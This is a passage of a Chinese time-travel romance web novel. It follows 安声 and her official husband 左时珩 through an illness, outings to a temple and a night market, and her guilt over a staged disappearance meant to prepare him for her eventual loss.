“嗯,听到了。” 安声又问:“那边耳朵听到了吗?” “……两只耳朵都听到了。” “听到了就好,那不许再生气了,毕竟纵然你长得英俊潇洒玉树临风,让我心花怒放爱不释手,我也不能赋予你生过夜气的权力。” “……爱不释手是这么用的吗?” 安声在他身上乱摸一通,理所当然:“你看,是这么用的啊。” 左时珩抓住她的手,压住体内灼热,转头将灯吹了,夜色如潮水般漫来,模糊了彼此的面容。 “好了,不要乱动了,先前不还说手疼?” “除非你跟我说,你不生气了,不然疼死了我也要对你动手动脚,践行一下‘牡丹花下死,做鬼也风流’的美事。” “……” 左时珩简直无话可说,即使强忍,胸腔仍被笑意震着。 他对他的阿声总是毫无办法。 “左时珩,你还生气吗?” “看你日后表现。” “日后?不行,我要你现在就原谅我。”安声爬起来亲他,从眉眼到嘴唇。 感受到他本能的回应,她得逞地笑。 左时珩气息沉了些,略急促,耳廓也通红,所幸夜色更浓。 他侧身将妻子圈在怀里禁锢住,低低道:“好了,我不生气了,再闹下去宝宝要被我们吵醒了。” 他轻柔地吻她额头。 “下次无论去哪,至少和我说一声。” 她是无法知晓,他得知那么晚,又下雨,她却仍未归家时的恐慌的。 他了解自己的妻子不会任性胡闹,所以那一瞬他想,她一定是出事了,才会没有回家。 这个念头冒出时,他浑身血液都几乎冻住,而不敢去想后面,只想立即将她找回来。 所幸,是他多想了,没有更坏的事发生,他几乎是顺利就接到了她,将她带回了家。 但她一身狼狈,又伤到,还不愿同他说实话,也很难让他不生气。 有时,他对她真有些不可遏的阴暗欲望,恨不得将她关在家里,除了他身边,哪里也不准去,才能够使他安心。 但他也知道,他不会对她做那些事。 所以,才常常无奈。 安声依偎在他怀里,迟疑片刻,蓦然问:“左时珩,若有一日我消失不见了,你能答应我继续好好生活吗?”—— 作者有话说:不出意外的话,明天应该可以加更[饭饭] 第69章 病中 “又在胡思乱想什么?该睡觉了。” 左时珩将安声锢入怀中,揉着她头发,似乎不想给她继续说话的机会。 但妻子却不知为何,偏要得出一个答案似的,又小声问了遍。 “……我觉得人生无常嘛,你看万一今日我下山时你没来,我扭到脚迷了路又不小心掉下……唔唔……” 温柔的左时珩霸道地捏住了她下巴,落下无奈的叹息。 “现在你人已经好好的躺在我怀里了,想这些做什么?我一定会去接你。若这会儿才后怕,下回更要记住,出门不要太久。” 看来今晚是问不了,左时珩不愿听。 但安声因此诞生了一个残忍的想法。 所谓脱敏疗法,便是用类似的事去反复刺激同一点,达到免疫的效果,她是否也能效仿? 在安和四年之前,两年的时间,她能不能刻意制造多次“失踪”,让左时珩逐渐接受并对此习以为常? 如此,她若没能在安和四年找到破解之法,左时珩兴许能更好更快适应没有她的生活。 等到了安和九年再度失去她后,亦不会心碎而亡。 但这个做法实在残忍,她叹了口气,忽然有些明白,为何小时候看的那些影视剧里,主角一方得了不治之症,就要用谎言去伤害和欺骗另一方,逼迫另一方主动离开了,大抵是觉得,在“失去爱”与“失去爱人”之间,后者更令人痛苦。 安声纠结不已,既认为或可一试,又不忍心伤害左时珩,哪怕是这种“为他好”式的做法,有时未必不是另一种自私。 在这般真的胡思乱想中,她迷迷糊糊地睡着了,神思混沌,思维迟滞,还有些发冷,不由更深地钻入他怀中。 左时珩却睡不着。 今日短暂的慌乱让他心有余悸,远不如表现出的淡然,加上睡前安声莫名问他的这个问题,更是让他难眠。 人生无常么…… 他贪恋地吻着妻子的发,想起十岁那年他骤然失去的双亲。 他的父母皆是沉默寡言的性子,平日话不多,又不识字,对他从无什么特别的教导,不过是希望他能平安长大,分担一些家庭劳作的辛苦。 他从小就跟着父亲干活,也帮母亲种菜喂鸡,长大后的一切于他而言都很遥远,或者说,也很近,近到似乎清晰可见他会成为另一个沉默寡言的父亲,与周边村落哪家适龄姑娘成婚,平淡过完一生。 直到在那场巨大的洪灾中,只余他一人在这世上,他才茫然起来,不知未来要怎么走。 后来他随许多无家可归的邻居一同进了城,成了灾民,挤挤挨挨席地而睡,每日等着施粥救济。 从白天到黑夜,身边不断有人死去,耳边哭声从未停歇。 他在夜里望着月亮默默流泪,很想父母。 某日,他见到官府贴出的招工布告,要抢修堤坝码头,他毅然去了。 他所学会的,只有父亲教给他的一些本事。 他很卖力,也很聪明,面对滔滔不绝,咆哮如龙的河水,也有一身的胆量,这样出色自然被工头赏识,见他年少,起了惜才之心,便将他推荐他去给城里一家书院补墙修屋顶,活虽累但不至于有性命之忧,于是在此,他听见了读书声。 在此之前,他同所有人一样祈祷着,有朝一日朝廷派来位负责爱民的大官,治理黄河,让洪水不再泛滥,让百姓不再遭殃。 在此之后,他想,他愿意努力成为这位大官。 从十岁到十九岁,从原州到京城,他不知付出多少,才走到这一步,拥有了如今这个他从未想过的未来。 他考中功名,做了官,也赴家乡治了水,险些将命留在黄河,这一身官袍于他而言,仅仅是责任,是少年心气,如今已然完成,他并非贪慕权势之人,无不可舍弃。 唯独一样,是他拼命抓住也犹恐失去的,那便是他的阿声。 他爱她入骨,犹嫌不够,她毫无征兆地闯入他生命里,他就再无法接受她的离开。 …… 翌日从混乱的梦里醒来,安声觉得浑身不舒服,鼻塞声重,嗓子干痒,一张口便咳嗽不止。 果然还是得风寒了。 李婶大约已抱了两个孩子去玩,所以房内只有她一人,她强撑着起来,脚腕的疼痛提醒了她,单脚跳到桌前,倒了杯水润了润,又觉一阵发冷,肌肉酸痛,昏昏沉沉,只好再回床上躺着,没一会儿又睡了过去。 迷迷糊糊中她听见有人说话,又过了会儿,再次安静下来,她被左时珩唤了几声,然后抱她在怀,让她靠着,温声道:“阿声,喝了药再睡。” 安声应着,还有些没睡醒,一口苦涩流入喉间,不待她反应过来就条件反射地吞咽了下去,药味充斥着口腔。 她一个哆嗦,转首埋在左时珩胸口:“……好苦……” “良药苦口,这个药不能加糖,但里面有甘草,不算太难入口。”他哄着她,“再喝几口就喝完了,病好了才不难受。” “我不要……咳咳……反正感冒几天就会好的……”她闷闷道,“我以前也这样,挺一挺就好了,咳咳……” 左时珩拍着她的背:“苦只苦一下,难受却要好几日,何况岁岁与阿序还不得与你亲近,很可怜。” 他轻轻吻她的发,柔声:“好在未发烧,喝两日好了些,便能换个方子,届时给你加糖,就不会苦了,听话。” 人生病时似乎总要变得矫情许多,安声也不例外。 不喝药症状难受,喝了药苦得难受,还担心传染给岁岁与阿序,不能亲亲抱抱他们。 她一下陷入悲观的情绪里不能自拔,呜咽两声。 “……我下次……咳……再也不淋雨了。” 左时珩忍不住笑:“嗯,觉悟很到位,看来吃亏也不全然是坏事。” 古代的药太苦太苦,还要趁热喝,热的时候更苦,安声喝一口就要缓很久,苦味在舌根经久不散,让她连连干呕,不由漱了几次口才好些,这下人彻底清醒了,深感自己真是命苦。 对比之下,她忽然觉得昨晚那碗姜汤简直就是琼浆。 她看向窗外,天光大盛,问左时珩如今什么时辰了,他说刚到午时不久。 安声哑声诧异:“那你怎么回来了?” “我告了半日假,下午不必回工部。” 安声把自己裹进被子里,咳了几声,恹恹道:“你公务那么忙,请假是不是要扣很多钱?” 左时珩靠在床边:“公务是少不了的,不过也不急在一时,眼下你在病中,便将我拘在衙署,我也无心做事,不如明日加倍,至于扣钱……” 他笑了笑:“看来我的俸禄还不够多,才让阿声这么心疼,还要继续努力才是。” 左时珩如今的收入主要是俸禄,与日后相较,的确不算多,但足够他们生活无虞,安和九年时,他身居要职,除去俸禄外,名下还有赏赐的田地傍身,以及穆山管理投资的几十间铺面田庄,收入不菲。 不过安声不是个由奢入俭难的人,她很会适应生活,因此从没觉得与左时珩在一起时过得还不够好。 她很心疼他,不想要他那么累。 左时珩道:“喝了药再睡会儿吧。” “不要,睡到这会儿,下午又睡……晚上肯定睡不着了……咳……” “若有睡意就小憩会儿,半个时辰我就叫你。”他隔着被子拍拍她,“不舒服的话可以靠在我身上。” “不要。”安声露出个脑袋,“你最好也离我远点,免得我传染给你……” 话刚说完,就咳得停不住。 “在夫君面前,还要逞能么?” 左时珩摇头,将人连被子一同捞起来抱在怀里,不停拍着替她顺气,“我若也病了,那正好安心在家享受你的照顾。” “才不是……”安声缓过来,强忍住嗓子痒痒的感觉,“左时珩你是贼喊捉贼,生病了最会逞能的就是你了。” 左时珩笑:“贼喊捉贼?有时我真不明白,这些词到了你这里,还有多少闻所未闻的用法。” “好了,难受就少说话,只管靠着我歇一会儿,或者想听我读书讲故事?” “不要读书,要讲故事。” “讲故事,嗯……” 左时珩想了想,发觉他遇见安声之前,实在没什么经历能称得上有趣。 “左时珩,讲一讲……你去治水的过程。” “你要听这些?” “嗯。” “好。”左时珩略一沉吟,点了下头。 他不是个讲故事的好手,讲起自己的经历来更是语气平静,又有意略去许多凶险,只说如何赶路,到了之后,黄河是什么样的,灾区是什么样的,受灾的百姓又困苦成什么样。 他提及黄泛区的现状,为那些在堤坝码头险滩劳苦的民夫感慨不已,他说当地百姓热情淳朴,即便自家都吃不饱了,还要自发组织起来,出人捐粮,与官府同心协力,旨在尽快控制住灾情。 他提及治水的难处,也只说别人,说堵塞决口时发生的走埽事故,说夜间举火施工引发的走水意外,以及数万民夫之间险些爆发的疟疾。 “倒有一种特殊的病症,不知你是否听过,患病者腹大如鼓,四肢却骨瘦如柴,我儿时见过一次这样的人,以至于做了噩梦,后来长大才从大夫那里得知,这叫做‘水毒症’,常泡在脏水里的人有可能患上,且是绝症。” 他顿了顿,低声:“此次治水中,我又亲眼见到了,不止一两起,有个人害怕极了,试图用刀划破肚子,所幸被及时制止,不过……” 不过也活不了多久。 他忆及当时,不由沉默,感觉到安声在他怀里蹭了蹭,他才回过神。 “不该说这些的。” “你说什么我都喜欢。”安声轻声,“但你怜悯世人,独独对自己轻描淡写,我不喜欢。” 左时珩笑着揉她头发:“我没有发生什么,身上的伤你已见过了,并不致命,与他们相比,我足够幸运,所以,上天很是眷顾我。” 安声搂住他腰,脑袋枕到他腿上,闭眼道:“那我会努力让上天更眷顾你一些。” …… 明明说着不想睡,安声下午还是睡了会儿,不知是喝了药的缘故,还是左时珩陪着她的缘故。 晚上李婶抱着岁岁阿序来陪她,她用帕子捂住口鼻,勉强同他们做了会儿游戏,也不敢太过亲近。 岁岁在李婶怀里一直朝她伸手,要娘亲抱,口齿不清地喊她,喊得她心化成一汪春水,眼泪也汪汪。 岁岁与阿序也很喜欢穆诗,晚上她便让穆诗拿上玩具陪他们在耳房里睡,穆诗连忙答应。 不过天黑下来,两个宝宝闹起觉来还是要娘亲,穆诗也哄不住。 安声在正房里听着,心疼得很,正想下床过去,被刚从书房过来的左时珩拦住。 “无妨,有我在。” 他去到耳房,一手抱起一个孩子在房中来回走动,与他们说说话,在爹爹宽阔的怀里,岁岁阿序很快就乖巧下来。 自他们出生,左时珩但凡有空就亲力亲为地照顾,包括换尿布洗澡之类的,所以他们与父亲也是自然亲近,有爹爹在,也就不害怕。 岁岁与阿序虽还不会说话,但叫“爹爹”叫得愈发熟练,两个小奶音此起彼伏,像是比赛一样,在他耳畔咿呀个不停,到后面还急眼了,兄妹俩干脆面红耳赤地吵起来。 左时珩忍不住笑,将他们放到床上坐着,他和穆诗都陪在旁边,旁观这场争论。 也不知说了什么,最终大概是岁岁赢了,阿序嘴巴一瘪,委屈地落泪,像个罐子似的倒在爹爹怀里痛哭流涕,岁岁见状,左看右看,也爬了过来,拍拍哥哥的背,哼哼唧唧,似在解释。 左时珩笑看着,同穆诗比了个悄声的手势,示意她不要干预。 穆诗眨巴眼,便也不出声。 很快,阿序就不哭了,重新爬起来亲了亲妹妹,兄妹俩又恢复一团和气,相亲相爱,连累了睡觉也抱在一起。 左时珩给他们盖好小被子,轻声对穆诗说:“你陪弟弟妹妹们睡着,晚上若有情况,只管来叫我。” 穆诗忙道:“大人,我也会换尿布,大人劳累,又要照顾夫人,小姐和少爷就交给我吧。” 左时珩笑了下,点头:“那辛苦你。” 晚上安声喝药喝得很积极,虽然还是被苦得不行。 喝完她就缩进被子里捂得严严实实,期待着明日一早起来病就好了大半。 左时珩见状又去取了床被子来,但刚上了床就被安声“控诉”。 “为什么要两床被子?你要跟我分床?好,分就分。” 她刚还想看左时珩怎么钻到她被窝里来呢,没想到他居然直接放弃挑战了。 她扭头向里,一路滚到小床上,把身上的被子扭成麻花。 左时珩怔了怔,压不住嘴角弧度,却故意道:“这么睡也好,裹得这么严实,晚上应当不会踢被子了。” “我就算踢被子,冷死,病情加重,也不会睡过去的。” “是吗?” “你看着吧,我可是有尊严的……这就是你拿两床被子来的代价。”安声蒙住头,声音发闷。 虽然口不对心,但在心里给自己找了两个借口。 一,离左时珩远点免得把感冒传染给他。 二,让他适应适应一个人睡。 左时珩眸底掠过狡黠,靠在床头看书,一时静谧无声。 安声睡不着,抱着枕头也不行,有左时珩在身边时,左时珩果然是无可替代的。 她紧紧裹在被子里,往左时珩那边挪了点,然后悄悄探头看,见左时珩专注看书,没注意到才放心,于是又挪了挪,就这般一点点靠近过去。 左时珩余光旁落,不禁莞尔,吟了句诗:“子规啼彻四更时,起视蚕稠怕叶稀。” 什么意思? 安声一僵,没有再动。 左时珩又道:“桃花落后蚕齐浴,竹笋抽时燕便来。” 安声这下听明白了。 他笑她是蚕。 既然被发现了,索性不装了,安声一拱一拱地拱到左时珩身边,钻出脑袋,一本正经问:“为什么我不能是蚯蚓呢?我的被子明明是红色的。” “我现在要钻土了。” 不待他回答,她顺理成章地拱进左时珩被窝下,缠住他腰身。 左时珩被她闹得想笑:“我好像记得某人说她有尊严。” “人有尊严,但我是蚯蚓,一条蚯蚓需要什么尊严?” 安声抱住他,深吸一口气,心满意足。 一,左时珩陪她一天了,传不传染的也不差今夜。 二,还在一张床是适应不了一个人睡的。 很合理- 天暖起来后,便有了夏季之感。 那次去天外山回来,淋雨病了一场,安声许久没再去,她得空时一直在想,她身上发生的到底是什么,或者说,她在那时,走进了一个什么所在。 林雪来找她闲坐过两回,她们聊了许多,尤其关于她婚后生活。 她挽起发髻,穿着亦稳重,看着成熟许多,不再像个未成年少女,不过说话时仍旧纯洁天真。 一会儿噘着嘴说夫君不懂得疼人,每次都弄得她很疼,一会儿又红着脸说他粗中有细,嘴硬心软。 还向她讨教夫妻相处之道。 第二次她带了陈静月来,小姑娘紧紧牵着她的手,性子内向安静,同长大后差不多。 林雪问她:“我同我夫君行房多次,怎么没有怀孕呢?” 安声:“……不是一次就成。” “你不是一次吗?” “……” 安声扶额:“嗯……有时候除了机缘也看两个人的状态。” 林雪问得天真且直白:“那我要什么状态?我夫君要什么状态?” “这些细节你回去同你们家陈律师商量更合适……” 林雪想了一想,认同:“说的也是,他是成过婚有孩子的人,比我懂得多。” 安声望着她那双亮晶晶的眼,感觉到她急切想要孩子的心,不由望向陈静月,小姑娘低着头,安安静静听着她说话,不知在想什么。 她伸手摸了摸陈静月的头发,问:“静月想要个弟弟还是妹妹?” 陈静月抬起头看了眼母亲,抿唇不语。 林雪将陈静月揽入怀里:“说来,静月最近要去永国公府念书识字,我想着将来不论我怀的是男孩还是女孩,小名都给静月来取。” 这话陈静月大约也是第一次听到,这才抿唇羞涩笑了。 林雪也高兴,双手合十:“菩萨保佑,最好是个男孩,因为我已经有个聪明乖巧又漂亮的女儿了。” 又对安声道:“你也不要总拘在家里,我过两日打算去相国寺烧香,你跟我一起吧,对了,永国公府的老夫人最近也要办个赏花会,我替你要张请帖,你也陪我成不成?带着岁岁一道吧,我自己怪没意思的。” 安声一想,自己的确许久没出门了,便答应下来。 相国寺与永国公府都不算远,她与左时珩说了这事,左时珩自然应承,同她说了些注意事项,让穆山送她去,并说到时候亲自去接她。 她点头。 于是过了两日她与林雪先去了相国寺,相国寺人非常多,非来客寺可比,来客寺大多不是专门来烧香拜佛的香客,以游客居多,而相国寺处在闹市,每日百姓都络绎不绝,据说很灵。 她虽不信神佛,但秉持一个尊重的态度,也认真在每个殿拜了拜,许下心愿,希望岁岁阿序健康无虞,她与左时珩长长久久。 中午她和林雪在相国寺用了素面,虽说是素的,却意外十分可口,之后她们又去了一间禅房抄经祈福。 她的字如今已写的很好,抄了《心经》一卷,还被师父连连夸赞。 抄完正值午后,她搁下笔,见林雪还在写,便揉了揉手腕,出门随意转转,步至一佛堂,正有法师给信众讲经。 她顺道站在窗下听。 法师说佛教中,世界有三界,欲界、色/界和无色/界,其中欲界与无色/界中有诸多天界,天界众生的福报、寿命及时间流逝与人间截然不同。 诸如第一层天中,一日一夜相当于人间五十年,第二层天中,一日一夜相当于人间一百年,再往上则更高,更广,更长,无法以寻常时辰来衡量,远超人间岁序尺度。 安声不禁若有所思。 第70章 后悔 她在佛堂外听得入迷,直到林雪来找她。 她们下午又去逛了其他地方,因她脑中盘桓着那些听来的佛法,故而有些心不在焉。 林雪以为她累了,眼见日暮西垂,便说:“咱们回吧,出来这么久,岁岁和阿序肯定想你了。” 安声看了眼天色:“确实不早了。” 算算时辰,也到了她跟左时珩约定来接她的时间。 林雪先上了陈家的马车,不忘提醒她:“别忘了永国公府的赏花会。” “知道了。”安声笑应。 穆山将马车从侧门赶了进来,在入门处等她,她走过去时,马车上先步下一个高大挺拔的人影,朝她伸出手。 安声展开笑,加快脚步握上去,被揽腰轻轻一抱就进了马车。 “今日玩得尽兴么?” “还好,烧烧香,拜拜佛,抄抄经,喔还吃了素面,相国寺的素面很好吃。” 左时珩捋顺她鬓角散乱的发:“嗯,那下次来,我也尝尝。” 之前他们也来过相国寺,只是都没逛太久。 马车驶入夜市,街上十分热闹,各种叫卖声不绝于耳,食物的香味更是诱人,无孔不入地钻进马车里。 安声深吸一口气:“哇——” 左时珩笑了声:“看来今晚李婶的晚膳要留到明日了,想吃什么?”他拨了帘往外看:“炙羊肉,烤鱼,馄饨,鸡丝粉,签菜,鹅排蒸,那还有两家胡食店。” 安声心有愧疚:“岁岁和阿序是不是在家等我等的着急了?” 左时珩说:“我来时他们正与穆诗玩得开心,未必差这一会儿。” 安声眉眼弯弯:“左时珩,我能不能都要啊?买几份小吃再去正店吃鹅排蒸。” “那饮子呢?” “要甘豆汤!” 他笑道:“好,我去买,你先去店里等我?” “我们分头行动,效率更高。”安声兴致冲冲地准备下车,又被他拽了回来,“人多,不要走太远。” 说罢,他先下了马车,自然而然地抱了安声下来。 又吩咐穆山先回,不必等他们,此处离杏花胡同不远,他们走回去也算消消食。 穆山心领神会,驾车走了。 左时珩只交给安声去买份馄饨,那家馄饨店离他们要去的馆子很近,其余的他来买。 可等他提了吃的喝的回转时,在那家正店门口却不见安声,心以为她先进了,便往里找,问了掌柜和小厮,皆说方才没有客人进来。 他皱了皱眉,让掌柜给他留坐,吃的先做着,然后便放了手里的东西出去找。 那家馄饨店老板说,是有位娘子来买馄饨,但已付了钱离开,一时也没注意到去了哪个方向。 左时珩道谢一声,环顾四周,寻定一个方向,按着妻子喜欢的口味,向那些小摊与正店内一一找过去。 他心头慌得很,只面上不显,勉强维持从容。 灯火时明时暗,路过一些巷口街角时,躺着的乞丐或流民都目光炯炯地盯着他,有些甚至毫无征兆地扑上来乞求施舍,还有些人则精神不正常,满口污言秽语,似有攻击之状。 更有五六个勾肩搭背的地痞流氓直勾勾地看着路过的女子,说笑些下流话。 眼前一切都成了危险因素,让他愈发不安,气息急促,不由更急切地四处打听以及呼唤安声的名字。 他几乎要方寸大乱了。 “左时珩!” 安声的声音蓦然在不远处响起。 他猛地转头,立即奔过去确认她的安危:“没事吧?” 安声发怔地望着他眼中布满的红血丝,举起手中的乐仙果子:“我……我看见这个,那摊主大叔正要走,我喊他他又没听见,就追了几步,对不起……” 左时珩缓缓松了口气,隐去眸底薄雾,摸了摸她脸,语气恢复寻常那般温和:“我只是找不到你,有些担心,不用跟我道歉。” 他接过她手上的馄饨,紧牵她手:“走吧,你想吃的鹅排蒸大约已上了。” 安声没有忽略左时珩颤抖的指尖,用力握住了他的手。 是夜,安声无眠,轻轻睁开眼,在心底叹了口气。 她从左时珩怀里翻了个身,左时珩睡梦中本能地轻拍安抚她,她心中难忍酸涩,不由伸手抚摸他脸。 指尖从他眉眼掠过,与眼尾微微停留,摩挲,仿佛那儿还残着氤氲的水汽。 左时珩很少失态,今晚也在她面前表现得风平浪静,但还是瞒不过她。 因为她是故意的。 她之前冒出的脱敏疗法的念头,一直没有放弃,今夜趁她与左时珩分开片刻,突然想尝试践行。于是她在左时珩回转时躲在了暗处,眼睁睁看他找自己找得焦急不已。 她就那样看着左时珩四处寻她,唤她的名字,她想要再多藏一会儿再出来的,但她实在做不到。 虽然知道左时珩方才为找她而焦灼,但她不过离开片刻,至少他应该是冷静的,可当她望见左时珩眸中那一片尽力掩藏的恐慌时,她感到不可遏的痛苦,心尖隐隐作疼。 她在做什么啊…… 她太残忍了。 与其说是帮助他适应将来分离的痛苦,不如说是让痛苦提前,从现在开始就让他一次次失去她,始终处在不安与恐惧里。 这不是在减弱将来的痛苦,而是在反复创伤与结痂中,让最深的那条疤痕看起来没那么明显罢了。 她真是干了件天下第一大蠢事。 “阿声……”左时珩握住她手,侧了侧身,将她重新圈入怀,“又做噩梦了么?” 他的声音听起来有些不太清醒。 “没有。”安声仰起头吻了吻他喉骨,“你睡吧,我去起个夜。” “嗯……”他气息重新绵长起来。 安声悄悄从他怀里钻出来,披衣下床,又借着薄薄月色吻他,而后执一盏蜡烛去了书房。 她心绪纷杂,有万语千言,索性睡不着,便想再给他写一封信。 初夏时节,窗外已隐约能听见虫鸣蛙叫,有风从窗棂吹进来,纸张哗啦作响,如同她飘飞的神思。 她视线落回眼前,拢了拢烛火,将镇纸压在信上,研了墨开始下笔。 写写停停,不知到了什么时辰,用去信纸三四张,还有未尽之言。 她揉了下酸疼的腕,蝶翼似的轻盈烛光蓦然轻扫过来。 安声抬头,撞进左时珩柔和目光。 他浅笑问:“夜深不睡,是有事瞒我?” 安声下意识将信盖住:“我……我睡不着,练会儿字。” “练字?” “练字。”安声定神,挪开一角,给他看纸上几行内容,“在相国寺抄了卷《心经》,还记得几句,就写下来。” 左时珩绕过来,将烛台放下,见那信上写有“无眼界乃至无意识界,无无明亦无无明尽,乃至无老死,亦无老死尽”几句。 他从身后抱住她,在她脸侧蹭了蹭:“阿声现在要信神佛了?” “算不上信,只是今日去相国寺偶然听到一段佛法,发现无论什么典籍,既受人追捧,必定是有许多道理。” 安声搁下笔,在他怀中转身,捧着他脸吻了吻。 “左时珩,我想,信仰神佛的人未必是真的相信大法力,而是给自己一个寄托,人在世上,总要依赖点什么,魂灵才有支撑。” “嗯,所以我也有。”左时珩与她抵着鼻尖,嗓音沉沉,“我依赖你,你就是我魂灵的支撑。” 安声眼睫轻颤,没有回应。 此时此刻,他更爱她一分,她便为他的未来更难过一分,亦不知要如何使他少爱一些。 “左时珩,我不该吵醒你的。”她搂住他,埋在他颈侧,“我们去睡觉吧。” 那封信,明日再管。 左时珩不会私自看的。 她千言万语,写不成哀伤。 只会写“今日抄了卷《心经》,只有两百多字,我背下来了,写给你看,我才发现原来‘色即是空,空即是色’就是出自这里,唉,左时珩,看来我果然做不了佛门弟子了,因为我爱你爱的不得了,满脑子都是你,哪里能空的了呢”- 今年夏季又是雨水充沛的一年,于大多州府而言是天降甘霖,是大好事,但于高平府而言,却是全境兵民忧心忡忡,忐忑不安,早早做好抗洪准备的信号。 去年救灾还算及时,百姓受损不算严重,但亦说不上好,田地一淹,纵然人活着,却也损失一季收成,到了下半年粮食减产,饿死的不在少数。 当时朝廷接到汛情,派了左时珩去,皇帝允了左时珩提出的治水方案,束水攻沙,于是汛期一过,便动员了数万民夫徭役修建起来,于今年春末堪堪完工,后续还要继续完善。 因此,今年眼看又要到汛期,别说高平府忐忑不安,就连参与过治水修堤的朝廷官员也不抱期待,一个二十出头的青年,毕竟年轻,纵然学问再好,是金科状元,又能有多少实干才学? 不过整整一年的劳民伤财,新修的几道大堤给本就贫乏的高平府难上加难,若无用处,就要问罪,还是大罪。 一时,连十分赏识他的苏尚书也没把握,下值后特意留了左时珩谈话。 “你且安心,你是我一力保举,你的方案我看过,批过,若是不尽人意,不能胜天,也非你的过错,纵然有罪,罪不至死,我也不推卸责任,与你共同承担,你是个有真正才能的年轻人,皇上也知此点,将来必有起复之机。” 窗外雨势更大了,天色阴沉,廊下烛光明灭不定。 左时珩神情依旧平稳,似乎从未因此惶惶。 “多谢大人,不过学生不敢说此法一劳永逸,至少也是十年无虞。” 苏博愣了愣,见他这般自信,不禁摇头一笑。 “到底是年轻人的天下,看来我真是老了。” 他走出公案,道:“时珩,雨这么大,不如去我宅邸用了晚膳再回好了,离得近些。” 左时珩道谢,语气轻松地笑着推辞:“老师还是放我一马吧,让我早早归家,我夫人还在等我。”《 》 70-80 第71章 雨季 大雨倾盆,没有要停的趋势,人行其中,连灯也照不亮,堪堪圈出一点虚影,在浓重的水汽里摇摇欲坠。 左时珩执一柄伞,出了衙署大门,往家走去。 这样的天气不能骑马,雨下得突然,也不便借用马车,只怕是要耽误些到家的时辰了。 不过才走出一小段路,他就见到一辆马车闯出雨幕,朝工部衙门的方向去,马蹄踩过积水,溅起尺高的浪花。 还不待他认出,那辆马车先停了下来,又掉头向他靠近,两个沾满水汽的灯笼摇摇晃晃。 “大人,这边!”车夫掀起斗笠,正是穆山。 “左时珩,好大的雨,快上车。” 安声撩起帘子喊。 左时珩有些意外,忙收了伞钻入车内。 “这样大的雨怎么还出来?” “这样大的雨我当然要来接你下班。”安声拿帕子给他拭去额上的水珠,“雨下得太大太突然,连马车都难找,好不容易才借到一辆,看来还是得买辆马车放在家里。” 左时珩上朝基本是骑马,安声也难得出门,所以若要用马车都是去赁一辆,也不用搁在小院里,还方便。 左时珩点头:“也好。” 安声让他脱去打湿的外衣,拿了扇子给他扇风,不知想到什么笑了下。 左时珩接过扇子,扇去马车内闷热潮湿之感,问她笑什么。 安声靠在他肩上。 “忽然想到,你这样的女婿应当是所有丈母娘最满意的,有车有房还是体制内稳定工作。” 她抬头借漏进来的一点烛光看他,压不住嘴角弧度:“而且个子高,长得帅,脾气好,简直是天选女婿。” 她大学一毕业爸妈就催她谈恋爱,后来不断给她安排相亲,她真是不胜其烦。 安和九年才遇见左时珩那会儿,她就在想,她原来也不是抗拒婚姻嘛,只是从没在地上见过钱,捡了石头回去也不能当宝贝啊。 后来从安和九年回到现代,她忘了左时珩,只有些支离破碎的残梦,架不住妈妈一直催问,又去见了个相亲对象,让她更加坚信,地上果然没那么容易捡到钱。 左时珩莞尔:“可惜无缘与岳母一见。” “也不算可惜,她见了你,也只会把你当成炫耀的资本,向别人证明她女儿嫁的有多好而已,因为她已经不爱我了。” “只是想表达谢意,谢她让你出生在这世上。” 左时珩摸了摸她的发,笑意柔和,“也谢她,在我出现之前,没将你许配他人。” “她倒是想,只是我不愿意将就,我不想在婚姻里成为另一个她,我也不要成为这样的妈妈,我会很爱我的宝宝。” “左时珩。”她仰起脸,“你也要做一个很好的父亲,无论遇见什么情况,都要照顾好岁岁与阿序,可以吗?” 左时珩目露诧异:“这是应当的,为何这样请求?” 安声握住他手:“我是说,假使你不在家,我会承担起父母的责任,在他们长大成人前,绝不倒下,我希望你也能。” 左时珩蹙眉。 “我想不到何种情况是我在而你不在的。” “我也可以有自己的事要做嘛,比如说出远门看看风景之类的。” “自己去?” “嗯,路途遥远,带上孩子不方便,你公务繁忙,还要照顾他们,就当是让我偷个懒。” 左时珩沉默片刻,罕见拒绝。 “不能。” 安声望着他。 他复道:“不能。” “你不在,我什么也做不了,我没你想的那么厉害。” “带孩子虽累,也不是全交给你一人,李婶一家也帮忙。” “我呢?” “…什么?” 左时珩认真问:“你是否想过,比起孩子,我会更需要你?” 苍穹似裂了个洞,往下灌着银河水,轰鸣声掩盖了天地间所有的动静。 他声音很轻,却独独穿过雨声,清晰响彻在她耳旁。 安声一时无话,红了眼圈,所幸夜色沉沉。 她感到喉间很紧,半晌才勉强压住,让语气显得轻松。 “同你开玩笑的,无缘无故我绝不会离开你。” 左时珩将她扯入怀中,仿佛为了报复这个玩笑,用了十分力气,要将她融入骨血似的。 “这个玩笑……我不喜欢。” 又是一个无眠之夜。 窗外雨小了些,依旧没有停的趋势。 已至安和二年七月初,离安和四年只剩下一年半的时间。 她对整件事仍然没有什么称得上有用的思路。 曾经的十一次,她大抵也是在这般失眠中度过的,最终即便找到了跳出循环的方法,也还是在不断重来。 她这次就一定能成功吗?她很难有这个信心。 以现有的信息分析,她在安和四年的消失是一个定局,而她还没有掌握更多信息的情况下,她只能在这之前尽量安排更多的事,为岁岁与阿序,更为左时珩。 进入夏季后,左时珩于公事上忙得脚不沾地,连休沐都减半了,虽未离京,但京河的河道拓宽与清淤,造桥修路,以及往来船只的管理与修缮,各地水利相关的工程造价审批等,全亟待处理。 但无论多晚,他每日都会回家,从不去应酬,若实在做不完的,就带了公文回家挑灯熬夜。 每每这个时候,安声已带两个孩子洗了澡,哄他们睡了觉,然后过来陪他。 他批公文,安声就在他对面坐着公然写信,他问起,她就说是练字。 他知道不是,但他愿意配合她,笑说:“看来本朝的书法大家要多一人了。” 安声咬着笔杆:“有你指导,早晚的事。” 又揶揄道:“你教过皇上写字,又教我写字,四舍五入,我和你们皇上也算师出同门了。” 安和帝虽说字写得不怎么样,学习态度倒是尚可。 左时珩跟她说,他有几次借着公事之名召他去御书房,实则只是向他请教书法。 左时珩嘴角扬起弧度:“像你这么大胆的人,全天下也没第二个。” “那当然。” 安声搁笔,低头吹了吹墨,歪头问他,“还要多久?” “大约半个时辰。” “那我再写一封……再练一封。” 有时,安声思忖要如何下笔时,悄悄看他。 左时珩端坐提笔,眉头轻蹙,像一座玉山,教她欢喜,怎么都看不够。 他温润,从容,谦和,纵然累得满身疲倦,一觉起来也能神清气爽,与安和九年那般病骨支离实在截然不同。 如今的他拥有平稳有力的心跳,时刻涌动着澎湃旺盛的生命力,像棵坚韧生长的大树,苍翠葳蕤。 